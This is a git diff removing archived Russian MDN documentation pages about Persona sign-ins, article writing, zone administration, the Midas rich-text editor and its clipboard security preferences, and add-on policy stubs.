
- -

Один из способов обойти эту проблему: откройте новую приватную вкладку в вашем браузере; в Firefox, например, выберите "Новое приватное окно" в Меню->Файл (или нажмите Ctrl+Shift+P [Cmd-Shift-P на Mac]). Зайдите на MDN, войдите в свой MDN аккаунт, а затем попытайсь снова привязать ваш GitHub аккаунт к профилю, как описано выше.

- -

Также, убедитесь, что пытаетесь войти через Persona.

- -

Моя привязка GitHub не отображается на странице присоединённых аккаунтов.

- -

Это может просходить из-за кеширования. Перезагрузите страницу или попробуйте выйти и войти снова, чтобы решить эту проблему.

- -

Persona не помнит меня

- -

Если когда вы пытаетесь войти через Persona, чтобы добавить ваш GitHub аккаунт в ваш MDN профиль, вы получаете сообщение "Your email address is new to us", то это, вероятно, потому что прошло слишком много времени с того момента, когда вы последний раз входили через Persona, поэтому они удалили ваш адрес электронной почты из их системы. Это случается после некоторого периода времени; окно входа Persona выгдядит так:

- -

- -

Если это произошло, ваш нужно просто следовать инструкциям Persona, чтобы создать пароль для этого адреса электронной почты. MDN ничего не удаляет; главное, чтобы адрес совпал. Придёт письмо, чтобы подтвердить, что это ваш адрес электронной почты, скорее всего от no-reply@persona.org. Если у вас установлены фильтры спама, оно может попасть в папку "Спам".

- -

Как только вы установите пароль для адреса электронной почты, который вы использовали для входа на MDN, ваш доступ на MDN будет восстановлен. Теперь вы можете следовать шагам в разделе {{anch("Подробная_инструкция", "Подробная инструкция")}}, чтобы добавить ваш аккаунт GitHub в ваш профиль MDN.

- -

Смотрите также

- - diff --git "a/files/ru/mdn/contribute/\320\262\321\205\320\276\320\264_\321\207\320\265\321\200\320\265\320\267_persona/index.html" "b/files/ru/mdn/contribute/\320\262\321\205\320\276\320\264_\321\207\320\265\321\200\320\265\320\267_persona/index.html" deleted file mode 100644 index 7a7c54e7cd..0000000000 --- "a/files/ru/mdn/contribute/\320\262\321\205\320\276\320\264_\321\207\320\265\321\200\320\265\320\267_persona/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: MDN и вход через Persona -slug: MDN/Contribute/Вход_через_Persona -tags: - - Documentation - - MDN - - MDN Meta - - Mozilla - - Persona -translation_of: Archive/MDN/Persona_sign-ins ---- -
{{MDNSidebar}}
-

Пожалуйста, привяжите свой GitHub аккаунт к вашему MDN профилю сейчас, чтобы вы смогли продолжить входить на MDN.

-
- -

В настоящее время, MDN позволяет помощникам входить через 2 различных провайдера: Mozilla Persona и GitHub. Начиная с 1 ноября 2016, мы удалим Persona из вариантов для входа. Поэтому, вы должны добавить аккаунт Github в вашем профиле, чтобы избежать потери доступа на MDN.

- -

Мы понимаем, что это неудобство, и приносим за него свои извинения. К сожалению, это не наше решение.

- -

Почему мы удаляем Persona?

- -

Mozilla закрыла проект Persona, и все его серверы будут отключены в ноябре 2016. Вы можете узнать больше о решении Mozilla выключить Persona на Mozilla wiki.

- -

Когда будет удалена Persona?

- -

Мы отключим Persona как провайдера для входа 1 ноября 2016; другими словами, последний день, когда вы сможете войти на MDN, используя Persona, будет 31 октября 2016. Мы будем показывать всё более частые и более срочные уведомления добавить GitHub аккаунт к вашему MDN профилю, начиная с этого момента. Пожалуйста, сделайте это как можно скорее, чтобы избежать любого риска потери доступа в MDN аккаунт.

- -

Будет ли MDN предоставлять другого провайдера для входа?

- -

Нам бы очень хотелось это сделать, но мы до сих пор не нашли другого провайдера, который отвечает нашим требованиям; кроме того, в настоящее время у нас нет ресурсов разработчиков для интеграции другого провайдера. В настоящее время, ваше единственное решение проблемы доступа на MDN - привязка вашего MDN профиля к вашему GitHub аккаунту.

- -

Имейте в виду, конечно, вам не нужно входить на MDN, чтобы читать наш контент. Но если у вас есть аккаунт для помощи, и вы хотите иметь возможность внести свой вклад в любое время в будущем, то убедитесь, что привяжете GitHub аккаунт к вашему профилю как можно быстрее, до 31 октября 2016.

diff --git a/files/ru/mdn/user_guide/writing/index.html b/files/ru/mdn/user_guide/writing/index.html deleted file mode 100644 index b83e7bcfc8..0000000000 --- a/files/ru/mdn/user_guide/writing/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Написание статей -slug: MDN/User_guide/Writing -tags: - - MDN -translation_of: Archive/Meta_docs/Writing_content ---- -
{{MDNSidebar}}

На MDN всегда существуют вещи, которые добавляются или обновляются. Будь то новая документация по новому сверкающему API или пересмотр старого, слегка изменившегося, API, вы всегда найдёте множество возможностей для помощи.

- -

Редактирование существующей страницы

-

Если вы нашли страницу, которую хотели бы пересмотреть, просто нажмите на кнопку «Редактировать» в её верхнем правом углу. Это действие откроет WYSIWYG-редактор для работы над содержимым страницы. Для подробностей о том, как работать с редактором, а также с системой макросов, которую мы используем для автоматизации некоторырых конструкций форматирования содержимого, смотрите руководство по редактору MDN.

-

Существует множество причин, по которым вы можете захотеть отредактировать существующую страницу:

- - -

Добавление новой страницы

-

Это очень здорово! Добавление новой страницы на MDN делает веб чуточку лучше. Есть несколько очевидных причин для создания новой страницы, включая документирование API, который ещё не был задокументирован, либо добавление нового урока или руководства по теме.

-

Существует несколько способов создания новой страницы на MDN, но все они доступны только когда вы вошли в систему:

-
-
Нажатие на ссылку, ведущую на «несуществующую страницу»
-
При просмотре MDN, иногда вы будете находить ссылки на ещё несуществующие страницы. Довольно часто при создании статьи мы включаем в неё ссылки на страницы, которые нужно создать, но которые мы ещё не создали. Это помогает нам следить за теми вещами, что, в конечном итоге, должны быть сделаны, хотя иногда, чтобы вернуться к ним, требуется время. Вы можете не стесняться и сами сделать это! Просто нажмите на ссылку, и вы попадёте прямо в редактор для новой страницы.
-
Создание дочерней страницы
-
В верхнем правом углу каждой статьи находится выпадающее меню «Эта страница». В этом меню есть пункт «Новая подстраница». Нажатие на этот пункт меню открывает редактор для новой страницы, чьим родителем в иерархии сайта будет страница, на которой вы нажали пункт меню «Новая подстраница». Просто заполните название и короткую ссылку и начните создавать содержимое страницы.
-
Создание клона страницы
-
Вы также можете склонировать существующую страницу, используя пункт «Клонировать эту страницу» в выпадающем меню «Эта страница». Нажатие на этот пункт создаст копию текущей страницы, чьим родителем будет та же страница, что и у текущей страницы и откроет редактор, в котором вы сможете проставить название и короткую ссылку склонированной страницы, а также отредактировать её содержимое. Как правило, это хороший способ добавления новой страницы в уже существующую область сайта, например потому, что вы получаете образец компоновки для нового содержимого.
-
Создание ссылки на несуществующую страницу, затем нажатие на неё
-
Это в некотором роде гибридный метод. Поскольку каждая страница должна быть связана с какой-нибудь другой, вы можете начать с создания ссылки на новую статью на уже существующей странице, а затем, после сохранения той страницы, вы можете нажать на только что созданную ссылку и открыть редактор для новой статьи.
-
-
-

Примечание: если вы не вошли в систему, вы получите ошибку 404 при попытке просмотреть несуществующую статью, вместо появления редактора для создания новой страницы.

-
- -

Поиск информации

-

На сайте содержится просто огромное количество информации и поэтому может быть сложно выцепить точную необходимую вам помощь. Вот несколько подсказок, с чего можно начать.

-
-
Списки владельцев модулей
-
Проекты Mozilla работают на базе так называемых «владельцев модулей»; каждый главный компонент имеет владельца или владельцев, которые отвечают за то, что с ним происходит. Владельцы часто являются лучшим источником информации — или, по крайней мере, они помогут найти нужного человека, с которым можно поговорить.
-
Перекрёстные ссылки между исходниками Mozilla
-
MXR, перекрёстные ссылки проектов Mozilla, позволяет вам получить доступ к всем исходным кодам проекта Mozilla (за исключением некоторых вещей, главным образом связанных с ОС Firefox, которые находятся на GitHub). Код и комментарии в коде часто являются отличным информационным ресурсом.
-
Вики Mozilla
-
Вики Mozilla — часто на неё ссылаются как на «wikimo» — это хранилище замечаний по процессу и дизайну, черновиков, планов и предварительных спецификаций. Несмотря на то, что часто там сам чёрт ногу сломит, она является кладезем бесценной информации.
-
diff --git a/files/ru/mdn/user_guide/zone_administration/index.html b/files/ru/mdn/user_guide/zone_administration/index.html deleted file mode 100644 index 95704a390d..0000000000 --- a/files/ru/mdn/user_guide/zone_administration/index.html +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Управление зонами -slug: MDN/User_guide/Zone_administration -tags: - - Documentation - - MDN -translation_of: Archive/MDN/Zones ---- -
{{MDNSidebar}}

Зона — это специальная область MDN, чьё содержимое представлено с некоторыми дополнительными элементами управления, например, специальным блоком навигации по зоне и визуально улучшенной шапкой страницы. В этом руководстве рассматривается, как создавать и поддерживать зоны.

- -

К примеру, область MDN Проект MDN представлена зоной.

- -
-

Примечание: реализация зон — а также определение того, как они должны использоваться — всё ещё в активной разработке и может значительно измениться. Пожалуйста, если у вас есть вопросы о том, что здесь написано, задавайте их на канале #mdn в IRC, особенно, если вы планируете создать зону или превратить в неё какой-нибудь существующий материал.

-
- -

Возможности зон

- -

После того, как вы создадите зону (её создание описывается ниже), вы получаете различные специальные возможности и преимущества, которые можно и нужно использовать:

- - - -

Добавить схему/диаграмму компоновки

- -

Существует два основных типа зон: зоны внутри вики и зоны мини-сайта.

- -

Зоны внутри вики

- -

Зона внутри вики — это зона, использующая преимущества функциональности зон, в тоже время оставаясь частью основного потока содержимого документации MDN. Например, эта зона, зона «Проекта MDN», является зоной внутри вики. Они являются своего рода полузонами в том смысле, что обычно они не включают содержимое извне своей собственной иерархи.

- -

Зоны внутри вики позволяют сегментировать MDN для добавления дополнительных визуальных украшательств и, что более важно, боковых панелей навигации без выдёргивания пользователя из основного потока содержимого MDN.

- -
-

Примечание: зоны внутри вики обычно не появляются в списке «Зоны» на домашней странице MDN, поскольку они рассматриваются как часть основного тела содержимого документации MDN.

-
- -

Зоны мини-сайта

- -

Зона мини-сайта — это зона, которая, хотя и редактируется и управляется при помощи того же самого интерфейса, что и любая другая вики-страница на MDN, представлена вне основного потока содержимого документации. Во всех функциональных отношениях она поддерживает всю стандартную функциональность вики, предоставляемую платформой Kuma, на которой построен MDN. Хорошим примером зоны может служить Центр приложений.

- -

При создании зоны мини-сайта она получает новый URL за пределами дерева "/docs/" на MDN, обычно он выглядит как https://developer.mozilla.org/<локаль>/zone/<название_вашей_зоны>.

- -
-

Примечание: в общем случае только очень значительное, специализированное содержимое должно быть перемещено за пределы иерархии вики; эти зоны предназначены в первую очередь для настройки специализарованных рекламных компаний и/или связанного с программой содержимого.

-
- -

Что должно быть зоной?

- -

Это интересный вопрос, и, честно говоря, ответ на него будет меняться с течением времени. Зоны являются новой концепцией для MDN и мы всё ещё изучаем, как именно мы будем их использовать.

- -

Существует две основные причины создания зон:

- -
    -
  1. Вам нужно настроить мини-сайт для рекламной кампании или конкретного продукта.
  2. -
  3. Вы хотите создать, так сказать, единое окно доступа к теме, охватывающей несколько областей технологии.
  4. -
- -

Создание зоны

- -

Первым шагом является создание содержимого. Как минимум, вы должны создать начальную целевую страницу, которая станет корневой страницей вашей зоны. Если у вас есть хотя бы корневая страница и, возможно, даже несколько дочерних страниц, вы можете превратить их в зону.

- -

Для превращения раздела MDN в зону требуются привилегии администратора MDN, так что вам нужно попросить администратора MDN сделать это за вас. В запросе на превращение раздела в зону вы должны предоставить администратору несколько вещей:

- - - -
-

Примечание: поскольку зоны являются конструкциями специального назначения, вам, вероятно, будет предложено обосновать, почему содержимое должно быть выделено в отдельную зону. Для понимания вопроса обратитесь к разделу {{anch("What_should_be_a_zone.3F", "Что должно быть зоной?")}}

-
- -

Изменение политики доступа к зоне

- -

В настоящий момент нет никакой поддержки разграничения прав доступа к зонам. Эту функциональность планируется добавить в будущем. Если вам нужно разграничение прав, пожалуйста, дайте нам знать, чтобы мы могли скорректировать приоритеты для этой работы.

- -

Настройка внешнего вида

- -

Частью того, что делает зону зоной, является возможность настройки её внешнего вида. Как минимум, она подразумевает настройку особого цвета и фонового изображения в шапке страниц зоны, помогающие пользователю понять, что он находится в определённой зоне. Также можно сделать и другие изменения внешнего вида страницы, однако они не должны выбиваться из общего стиля MDN.

- -
-

Примечание: важно иметь в виду, что инструкции, изложенные ниже, являются всего лишь подсказками. Вы можете попытаться более тонко настроить CSS для своей зоны. Просто имейте в виду, что ваши изменения могут быть пересмотрены нашими командами по UX и/или дизайну и они должны вписываться в общий стиль MDN.

-
- -

Базовая настройка

- -

Базовая требуемая настройка для каждой зоны — это настройка цвета фона и изображения в шапке страниц зоны. Во время запроса создания зоны вас попросят предоставить эти данные. Далее изложены основные рекомендации по тому, что вы должны предоставить.

- - - -

Имея эту информацию, команда администраторов MDN сможет установить для вас базовый CSS вашей зоны. Однако, если вы хотите, вы можете пойти дальше и предоставить свой собственный CSS. Следуя инструкциям в разделе {{anch("Additional_customizations", "Дополнительные изменения")}}, вы можете поэкспериментировать с другими изменениями визуального стиля вашей зоны.

- -

Дополнительные изменения

- -

Если вы хотите исследовать дополнительные возможности настройки, взгляните на шаблоны CSS/stylus, расположенные на github. Это список всех CSS Stylus для стилей, которые вам позволено менять при помощи вашего CSS для зоны.

- -

Если вы хотите сделать дополнительные настройки, вы можете это сделать, но с одной важной оговоркой: ваши изменения не должны настолько значительными, что страницы зоны перестают выглядеть как часть MDN.

- -

При изменении таблицы стилей зоны вашими задачами становятся выделить те стили из шаблона, которые вы хотите изменить и поместить их в результирующий CSS. Как только вы сделаете это, предоставьте получившийся CSS команде администраторов MDN и они установят его для вас.

- -

Всё содержимое, относящееся к зонам, имеет класс zone.

- -
-

Примечание: пожалуйста, обратите внимание, что поскольку сайт находится в стадии активной разработки, любые обсуждаемые здесь классы и стили могут быть изменены без предварительного уведомления.

-
- -

Фоновые цвета

- -

Как ранее упоминалось, первым делом вы, вероятно, захотите настроить фоновый цвет шапки вашей зоны. CSS может выглядеть подобным образом:

- -
.zone #main-header, .zone .zone-article-header, .zone .zone-landing-header {
-    background-color: цвет-зоны;
-}
-
- -

Идентификатор main-header ссылается на область навигации по сайту в самом верху страницу. Она включает вкладку «Mozilla» для междусайтовой навигации, поле поиска и другую глобальную функциональность по навигации.

- -

Класс zone-article-header представляет внешний вид шапки на страницах со статьями внутри зоны. То есть, все страницы, кроме целевой страницы зоны, будут в своей шапке иметь этот класс.

- -

Класс zone-landing-header используется в шапке целевой страницы зоны. Это более высокая шапка на целевой странице с большим изображением внутри неё.

- -

Как правило, вы захотите, чтобы эти области имели одинаковый цвет; и в самом деле, шапки статьи и целевой страницы должны быть одинаковыми. Единственной причиной, по которой вы могли бы настроить их по разному, является наличие градиентов и необходимость подогнать их цвет к некоторому «общему знаменателю», несмотря на различие по высоте.

- -

Короче говоря: замените цвет-зоны в кусочке CSS, предоставленном выше, на {{cssxref("<color>")}}, который вы выбрали для вашей зоны.

- -

Изображение в шапке целевой страницы

- -

Также вы можете захотеть изменить изображение, представляющее вашу зону на целевой странице зоны. Эта страница имеет большую шапку для большого изображения, представляющего вашу зону. CSS выглядит так:

- -
.zone .zone-landing-header .zone-image {
-    background-image: url(url-изображения-зоны);
-}
-
- -

Класс zone-image используется для определения и стилизации изображения в шапке целевой страницы вашей зоны. Изображение должно быть не более 468 пикселей в ширину, хотя вы и можете изменить это здесь же с помощью дополнительного CSS. Просто замените url-изображения-зоны на URL используемого вами изображения.

- -
-

Примечание: простейшим способом предоставить изображение является прикрепление его к соответствующей странице на MDN и использования получившегося URL.

-
- -

Изображение в шапке страницы статьи

- -

Кроме того, вы должны установить изображение, представляющее вашу зону на дочерних страницах. По умолчанию, это изображение ограничено 200 пикселями в ширину и 400 пикселям ив высоту, но, опять же, это может быть изменено.

- -
.zone .zone-article-header .zone-image {
-    background-image: url(url-изображения-зоны);
-}
-
- -

Просто замените url-изображения-зоны на URL используемого вами изображения.

- -
-

Примечание: простейшим способом предоставить изображение является прикрепление его к соответствующей странице на MDN и использования получившегося URL. Вы можете использовать тоже самое изображение что и в шапке целевой страницы, просто отмасштабировав и обрезав его, либо использовать другое изображение.

-
- -

Нижняя граница кнопки в шапке

- -

Последнее, что мы рекомендуем вам поменять, — это внешний вид нижней границы кнопок в шапке зоны. Вот CSS:

- -
.zone .zone-landing-header a.button {
-    box-shadow: inset 0 -1px цвет;
-}
-
- -

Здесь замените цвет на {{cssxref("<color>")}} того же оттенка, что и фоновый, но чуточку темнее.

- -

Навигация по зоне

- -

Боковая панель навигации по зоне

- -

Боковая панель, появляющаяся на каждой странице зоны, определяется в содержимом целевой страницы зоны, в разделе с названием «Subnav» (виден только при редактировании страницы). Этот раздел может содержать вручную составленный куратором список страниц, либо использовать макрос, например {{TemplateLink("ListSubpages")}}. В последнем случае вам нужно будет принудительно перезагрузить (обновление с шифтом) целевую страницу зоны, чтобы увидеть изменения в боковой панели.

- -
-

Примечание переводчика: Раздел «Subnav» не обязательно должен так называться, достаточно проставить атрибут id="Subnav" у заголовка. Однако, редактор MDN принудительно сбрасывает идентификатор в название раздела при сохранении страницы. Чтобы он этого не делал, достаточно добавить к заголовку атрибут name="Subnav", в этом случае в качестве идентификатора будет использоваться значение этого атрибута.

-
- - - -

Как и любая другая страница на MDN, страницы внутри зоны могут использовать возможность быстрых ссылок. Быстрые ссылки — это навигационный блок, расположенный в левой боковой панели, предлагающий пользователю ссылки на сопутствующие материалы. Эти ссылки могут вести внутрь MDN или на внешние сайты и могут иметь до двух уровней вложенности.

- -

Чтобы облегчить создание наиболее распространённых типов быстрых ссылок для зон, мы написали несколько макросов, которые вы также можете использовать.

- -

Макрос QuickLinksWithSubpages

- -

Макрос {{TemplateLink("QuickLinksWithSubpages")}} создаёт весь требуемый HTML для блока быстрых ссылок на странице со ссылками на страницы в указанной иерархии. Вы также можете использовать его без параметров для генерирования быстрых ссылок на дочерние страницы текущей страницы, хотя это не так полезно в зоне, поскольку навигация по зоне, как правило, уже предоставляет эти ссылки.

- -

Руководство по оформлению зон

- -

Примечания

- -

В этом разделе содержатся примечания, которые следует иметь в виду при создании зон и работе с ними.

- - diff --git a/files/ru/midas/index.html b/files/ru/midas/index.html deleted file mode 100644 index 547ad3f550..0000000000 --- a/files/ru/midas/index.html +++ /dev/null @@ -1,328 +0,0 @@ ---- -title: Midas -slug: Midas -tags: - - DOM - - Midas - - NeedsContent - - NeedsHelp - - NeedsTechnicalReview - - NeedsTranslation - - TopicStub - - needsattention -translation_of: Mozilla/Projects/Midas ---- -

Introduction

- -

Midas is the code name for Gecko's built-in rich text editor. Midas can be enabled via JavaScript on an HTML document. When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the DHTML commands supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the designMode property of the {{domxref("document")}} object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the contentEditable attribute; Starting with Firefox 3, Gecko also supports contentEditable. Once Midas is invoked, a few more methods of the document object become available.

- -

Properties

- -
-
document.designMode
-
By setting this property to "on", the document becomes editable.
-
- -

Notes

- -

Since an entire document becomes editable, authors often load the editable document into an IFRAME and do the bulk of the scripting in the parent document. According to standards, The IFRAME element has the contentDocument property that refers to the document in the inline frame. It also has a property called contentWindow that refers to the window object inside the inline frame. This also avoids problems with {{bug(198155)}}.

- -

In addition to the built-in commands, advanced editing can be done by manipulating the {{domxref("Selection")}} and {{domxref("range")}} objects. It is beneficial to be familiar with these objects when working with an editable document.

- -

Examples

- -

This example shows the basic structure described in the Notes section :

- -
<html>
-	<head>
-		<title>Simple Edit Box</title>
-	</head>
-	<body>
-		<iframe
-			id="MidasForm"
-			src="about:blank"
-			onload="this.contentDocument.designMode='on';"
-		></iframe>
-	</body>
-</html>
-
- -

Methods

- -
-
{{domxref("Document.execCommand")}}
-
Executes the given command.
-
{{domxref("Document.queryCommandEnabled")}}
-
Determines whether the given command can be executed on the document in its current state.
-
{{domxref("Document.queryCommandIndeterm")}}
-
Determines whether the current selection is in an indetermined state.
-
{{domxref("Document.queryCommandState")}}
-
Determines whether the given command has been executed on the current selection.
-
{{domxref("Document.queryCommandValue")}}
-
Determines the current value of the document, range, or current selection for the given command.
-
- -

Supported Commands

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandValueDescription
backcolorA color code.This command will set the background color of the document.
bold If there is no selection, the insertion point will set bold for subsequently typed characters. -

If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold.

-
contentReadOnly This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the web page.
copy If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen. -

note: this command won't work without setting a pref or using signed JS. See: more about security preferences

- -

note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code on the page to handle it.

-
createlinkA URI.This command will not do anything if no selection is made. If there is a selection, a link will be inserted around the selection with the url parameter as the href of the link.
cut If there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. If there isn't a selection, nothing will happen. -

note: this command won't work without setting a pref or using signed JS. See: more about security preferences

- -

note: the shortcut key will automatically trigger this command (typically accel-X) with or without the signed JS or any code on the page to handle it.

-
decreasefontsize This command will add a <small> tag around selection or at insertion point.
delete This command will delete all text and objects that are selected. If no text is selected it deletes one character to the right. This is similar to the Delete button on the keyboard.
fontnameA font nameThis command will set the font face for a selection or at the insertion point if there is no selection. -

The given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.

-
fontsizeA numberThis command will set the fontsize for a selection or at the insertion point if there is no selection. -

The given number is such as would be used in the "size" attribute of the font tag.

-
forecolorA color codeThis command will set the text color of the selection or at the insertion point.
formatblockH1, H2, H3, H4, H5, H6, P, DIV, ADDRESS, BLOCKQUOTE (more?)The selection surrounded by the given block element.
headingH1, H2, H3, H4, H5, H6Selected block will be formatted as the given type of heading.
hilitecolorA color codeThis command will set the hilite color of the selection or at the insertion point. It only works with styleWithCSS enabled.
increasefontsize This command will add a <big> tag around selection or at insertion point.
indent Indent the block where the caret is located. If the caret is inside a list, that item becomes a sub-item one level deeper.
insertbronreturntrue/falseSelects whether pressing return inside a paragraph creates another paragraph or just inserts a <br> tag.
inserthorizontalrulenull/string (when string is the Line's id)This command will insert a horizontal rule (line) at the insertion point. -

Does it delete the selection? Yes!

-
inserthtmlA string.This command will insert the given html into the <body> in place of the current selection or at the caret location. -

The given string is the HTML to insert.

-
insertimageA URI.This command will insert an image (referenced by the given url) at the insertion point.
insertorderedlist Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and an OL. If the caret is inside a bulleted item, the bulleted item becomes a numbered item.
insertunorderedlist Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and UL. If the caret is inside a numbered item, the numbered item becomes a bulleted item.
insertparagraph Inserts a new paragraph.
italic If there is no selection, the insertion point will set italic for subsequently typed characters. -

If there is a selection and all of the characters are already italic, the italic will be removed. Otherwise, all selected characters will become italic.

-
justifycenter Center-aligns the current block.
justifyfull Fully-justifies the current block.
justifyleft Left-aligns the current block.
justifyright Right aligns the current block.
outdent Outdent the block where the caret is located. If the block is not indented prior to calling outdent, nothing will happen. -

If the caret is in a list item, the item will bump up a level in the list or break out of the list entirely.

-
paste This command will paste the contents of the clipboard at the location of the caret. If there is a selection, it will be deleted prior to the insertion of the clipboard's contents. -

note: this command won't work without setting a pref or using signed JS. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); See: more about security preferences

- -

note: the shortcut key will automatically trigger this command (typically accel-V) with or without the signed JS or any code on the page to handle it.

-
redo This command will redo the previous undo action. If undo was not the most recent action, this command will have no effect. -

note: the shortcut key will automatically trigger this command (typically accel-shift-Z)

-
removeformat Removes inline formatting from the current selection.
selectall This command will select all of the contents within the editable area. -

note: the shortcut key will automatically trigger this command (typically accel-A)

-
strikethrough If there is no selection, the insertion point will set strikethrough for subsequently typed characters. -

If there is a selection and all of the characters are already striked, the strikethrough will be removed. Otherwise, all selected characters will have a line drawn through them.

-
styleWithCSS This command is used for toggling the format of generated content. By default (at least today), this is true. An example of the differences is that the "bold" command will generate <b> if the styleWithCSS command is false and generate css style attribute if the styleWithCSS command is true.
subscript If there is no selection, the insertion point will set subscript for subsequently typed characters. -

If there is a selection and all of the characters are already subscripted, the subscript will be removed. Otherwise, all selected characters will be drawn slightly lower than normal text.

-
superscript If there is no selection, the insertion point will set superscript for subsequently typed characters. -

If there is a selection and all of the characters are already superscripted, the superscript will be removed. Otherwise, all selected characters will be drawn slightly higher than normal text.

-
underline If there is no selection, the insertion point will set underline for subsequently typed characters. -

If there is a selection and all of the characters are already underlined, the underline will be removed. Otherwise, all selected characters will become underlined.

-
undo This command will undo the previous action. If no action has occurred in the document, then this command will have no effect. -

note: the shortcut key will automatically trigger this command (typically accel-Z)

-
unlink If the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain.
{{Deprecated_header}}
readonly This command has been replaced with contentReadOnly. It takes the same values as contentReadOnly, but the meaning of true and false are inversed.
useCSS This command has been replaced with styleWithCSS. It takes the same values as styleWithCSS, but the meaning of true and false are inversed.
diff --git a/files/ru/midas/security_preferences/index.html b/files/ru/midas/security_preferences/index.html deleted file mode 100644 index 2b1269872c..0000000000 --- a/files/ru/midas/security_preferences/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Security preferences -slug: Midas/Security_preferences -translation_of: Mozilla/Projects/Midas/Security_preferences ---- -

To protect users' private information, unprivileged scripts cannot invoke the Cut, Copy, and Paste commands in the Mozilla rich text editor, so the corresponding buttons on the Mozilla Rich Text Editing demo page will not work. To enable these functions for purposes of the demo, you must modify your browser preferences.

- -

For Firefox:

- -
    -
  1. Quit Firefox. If you have Quick Launch running (in Windows, an icon in the toolbar), quit that too.
  2. -
  3. Find your Firefox profile directory.
  4. -
  5. Open the user.js file from that directory in a text editor. If there's no user.js file, create one.
  6. -
  7. Add these lines to user.js: -
    user_pref("capability.policy.policynames", "allowclipboard");
    -user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
    -user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
    -user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
    -
  8. -
  9. Change the url https://www.mozilla.org to the site for which you want to enable this function.
  10. -
  11. Save the file, and restart Firefox. The Clipboard buttons should now function.
  12. -
- -
Note: The preference is site as well as protocol specific. For example: - -
user_pref("capability.policy.allowclipboard.sites", "http://www.mozilla.org")
- -

is not the same as:

- -
user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org")
- -

This is because the first uses HTTP while the second uses HTTPS.

-
- -

If you want to allow multiple URLs to access the Paste operation, separate the URLs with a space. For example:

- -
user_pref("capability.policy.allowclipboard.sites",
- "https://www.mozilla.org https://developer.mozilla.org")
-
- -
-
For more information about security policies, see http://www.mozilla.org/projects/security/components/ConfigPolicy.html.
-
- -

 

- - diff --git a/files/ru/mozilla/add-ons/add-on_guidelines/index.html b/files/ru/mozilla/add-ons/add-on_guidelines/index.html deleted file mode 100644 index 5be041195c..0000000000 --- a/files/ru/mozilla/add-ons/add-on_guidelines/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Add-on guidelines -slug: Mozilla/Add-ons/Add-on_guidelines -translation_of: 'https://extensionworkshop.com/documentation/publish/add-on-policies/' ---- -

These add-on guidelines were created to foster an open and diverse add-on developer community while ensuring an excellent user experience. They apply to all add-ons and add-on updates regardless of where they are hosted, and also apply to customizations performed by installers that configure Firefox without using an add-on. Add-ons hosted on AMO are subject to additional policies.

- -

Be Transparent

- - - -

Be Respectful to Users

- - - -

Be Safe

- - - -

Be Stable

- - - -

Exceptions

- - - -

Other exceptions may apply.

- -

Enforcement

- -

Add-ons that do not follow these guidelines may qualify for blocklisting, depending on the extent of the violations. Guidelines qualified with the wordmust are especially important, and violations thereof will most likely result in a blocklisting nomination.

- -

The Add-ons Team will do their best to contact the add-on's developers and provide a reasonable time frame for the problems to be corrected before a block is put in place. If an add-on is considered malicious or its developers have proven unreachable or unresponsive, or in case of repeat violations, blocklisting may be immediate.

- -

Guideline violations should be reported via Bugzilla, under Tech Evangelism > Add-ons. Questions can be posted in the #addons IRC channel.

- -

These guidelines may change in the future. All updates will be announced in the Add-ons Blog.

diff --git a/files/ru/mozilla/add-ons/amo/index.html b/files/ru/mozilla/add-ons/amo/index.html deleted file mode 100644 index 0845e54e3d..0000000000 --- a/files/ru/mozilla/add-ons/amo/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: AMO -slug: Mozilla/Add-ons/AMO -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Add-ons/AMO ---- -

{{AddonSidebar}}

- -

Content to be added.

diff --git a/files/ru/mozilla/add-ons/amo/policy/index.html b/files/ru/mozilla/add-ons/amo/policy/index.html deleted file mode 100644 index 7baca9debb..0000000000 --- a/files/ru/mozilla/add-ons/amo/policy/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: AMO Policies -slug: Mozilla/Add-ons/AMO/Policy -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Add-ons/AMO/Policy ---- -

{{AddonSidebar}}

- -

Mozilla стремится обеспечить отличный опыт для наших пользователей и разработчиков надстроек. Перед отправкой своего дополнения ознакомьтесь с приведенными ниже правилами.

- - -
-
Пакт о разработке
-
Effective January 5, 2016
Обзор процесса
-
Add-ons extend the core capabilities of Firefox, allowing users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own. For these reasons, Mozilla requires all add-ons to comply with the following set of policies on acceptable practices. The below is not intended to serve as legal advice, nor is it intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.
Избранные дополнения
-
How up-and-coming add-ons become featured and what's involved in the process.
Связаться с нами
-
